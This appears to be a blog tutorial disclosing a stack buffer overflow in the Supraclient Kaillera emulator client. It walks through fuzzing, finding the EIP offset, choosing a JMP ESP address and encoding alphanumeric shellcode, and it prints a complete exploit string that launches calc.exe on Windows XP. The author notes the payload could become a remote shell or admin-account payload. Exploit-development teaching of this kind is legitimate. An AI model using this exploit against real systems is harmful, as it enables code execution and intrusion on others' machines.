Supraclient Kaillera Buffer Overflow Vulnerability

Today I will release information about a Supraclient kaillera buffer overflow 0 day vulnerability.  I have decided it makes sense to disclose this vulnerability because Supraclient is very old and very obscure.

First of all we need the vulnerable version of Supraclient kaillera client.

Note: This exploit is probably has no practical attack vectors at all, this is mostly just an exploit for practice.

The target system is Windows XP SP3 running in a virtual machine (VMware Workstation 7 to be precise).
This is because Windows XP is easier to exploit (it lacks advanced protections such as DEP and ASLR that later versions of Windows have).  Additionally, according to some statistics, 66% of users who have Windows still run XP. 

In this particular example, the amount of bytes required to cause the buffer overflow remains the same on any virtual machine, but be aware sometimes they will change based on your environment, so experimenting yourself is important.

This post deals with information about buffer overflows; if you're not familiar with them, you can learn more at Corelan.  This is an excellent site full of tutorials about buffer overflows and how to exploit them on a Windows environment.  I recommend that you read a few tutorials (such as part 1 and 2 on stack overflows) on that website before you continue to fully understand what is happening.

As a brief overview, a buffer overflow is nothing but overflowing a region in memory with user input of some kind.  Most if not all security vulnerabilites come from badly processed user input.  Some vulnerable C/C++ functions such as the classic strcat and strcpy will copy a number of bytes from one memory location
to another without any kind of bounds checking.  If these functions are used to process user  input of some kind, a user can specify more bytes than the buffer has been declared to hold.  For instance, if we supply 20 bytes of input to a 15 byte buffer, we have a buffer overflow.  The EIP register, which is an area in memory that points to the next instruction to be processed, will be overwritten with our data, meaning we can specify
an arbitrary hexadecimal value that can point to any CPU assembly instructions we want, and therefore hijack
the program's execution to execute any code we desire in memory.  Thus a buffer overflow is one of the most serious types of vulnerabilities as it allows for total control over a computer in most cases. 

With that being said, let's begin.  First, we will extract the Supraclient dll file we have downloaded into the emulator folder of Project64k, overwriting the existing kailleraclient.dll file with the Supraclient dll file.

Next, download two very useful tools: Immunity Debugger and Pvefindaddr plugin:.  These will help us as we develop our exploit.  The Pvefindaddr plugin needs to be copied into the Immunity Debugger Commands folder before it can be used (C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\pvefindaddr.py)


Open Immunity Debugger and type !pvefindaddr pattern_create 2200 in the text box area and hit enter.

This will create a cyclic pattern of 2200 bytes which we will feed into the program to see if it will crash.
 This is useful because if we only used the same character, for example, 2200 "A's", we wouldnt know the specific 4 bytes that overwrote EIP (because they are all A's, so whats the difference).  This is where the unique pattern comes in handy to quickly identify how many bytes it takes to overwrite the memory location EIP points to.

To copy the output of the cyclic pattern, open the directory Immunity was installed (usually C:\Program Files\Immunity Inc\Immunity Debugger\) and open the file called mspattern.txt.  Then copy that string to the clipboard.

Next we launch Project64K. Go to Start>Net Play, and the Kaillera GUI window will open up.  Paste the mspattern.txt string into the window in the lower left (the one which says IP Address in the screenshot):

Now go to Immunity Debugger and go to File>Attach, and pick the process which is running Kaillera (in our example its Project64k.exe) and click Attach.  If you see any messages about "Entry Point Alert" just click past them by clicking OK.  Now hit F9 (or click the red play button in Immunity) to start the debugging.  Go back to Kaillera and click Login. 

Boom.  Immunity triggers an access violation when executing (part of your cyclic pattern):

As you can see, EIP is overwritten with 33714332, which is hexadecimal for the string "2cQ3", which is part of our mspattern.txt.  How do we know how many bytes it takes before we reach 2cQ3?  Type !pvefindaddr pattern_offset 0x33714332 in order to see how many bytes we need to hit the EIP overwrite.  Once you hit enter, go to View> Log, and you will note that the pattern is reached after 2048 bytes.  This means that we need to supply 2048 bytes of junk and then 4 bytes to overwrite EIP.

We need to overwrite EIP with a pointer which will allow us to jump to the stack, so that the rest of our user input will be executed as code (our shellcode).  Which four bytes do we choose?  We can either use an application-specific jump, which would only work on one emulator, or we can use an OS-specific jump, which only works on particular versions of Windows.  For now I am going to use an OS-specific opcode, JMP ESP in hnetcfg.dll (ascii of O².f, hex of 662EB24F), which would work for any emulator on a specific Windows XP version. JMP ESP tells the computer to jump to the stack, which will then execute whatever code we place after those 4 bytes at EIP.

But wait a minute! This is a text box, we can't just put random binary characters in here.  This is correct.  We have to deal with character restrictions.  In this case, as I have experimented to find out, we are dealing with mostly extended-ascii limitations, meaning we can use more characters than just a-z. Our bad characters in hex are the following: 00-1F,7F, and 81-9F.  Any other characters in the 255 character extended-ascii set are fair game however. 

Let's now generate an alphanumeric shellcode using Alpha3.  This tool will require us to have a base register for the shellcode it needs to run in order to decode characters.  In this case, we give it the register of ESP (the stack) since we know that our shellcode is directly at the beginning of the stack and doesn't seem to get mangled.  This particular shellcode will be given to Alpha3 as a metasploit encoded calc.exe payload (as a simple demonstration).  However, its easy enough to replace that with a payload that adds an admin account, or a remote shell, or a meterpreter payload...
 
So our entire exploit string ends up looking like this: 

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1CqO².fTYhffffk4diFkDql02Dqm0D1CuEE5n3e1o3j3J0M0y0C363z7n2t4y4A0g0h0r0K2N4p4R8K0m0J7L3P3l14094L123i2p4F0Q3U4x4F3p0I0r5n0h2j0W4O2o3M0W0c4Y0U0y2r4K370T3U0H3n0J143W2G4n0N4K2O0C1k312t4H1L4E2v1N2H3B3H4J3W0I0O311L2G2q4y0c3c0c4x3z0T4p3S4s0H0g000P184Q0f3m4L3d4G3e054k3R4Z35063m2v3A2n0U404S8O0e0R3q7l0h4q0w4w3i0L0d0k3O0K4T042t3K0J3h0t

Once we paste this into the emulator, it goes boom:

Woot!  Calc.exe has been executed!  We have successfully executed a stack buffer overflow against kaillera Supraclient!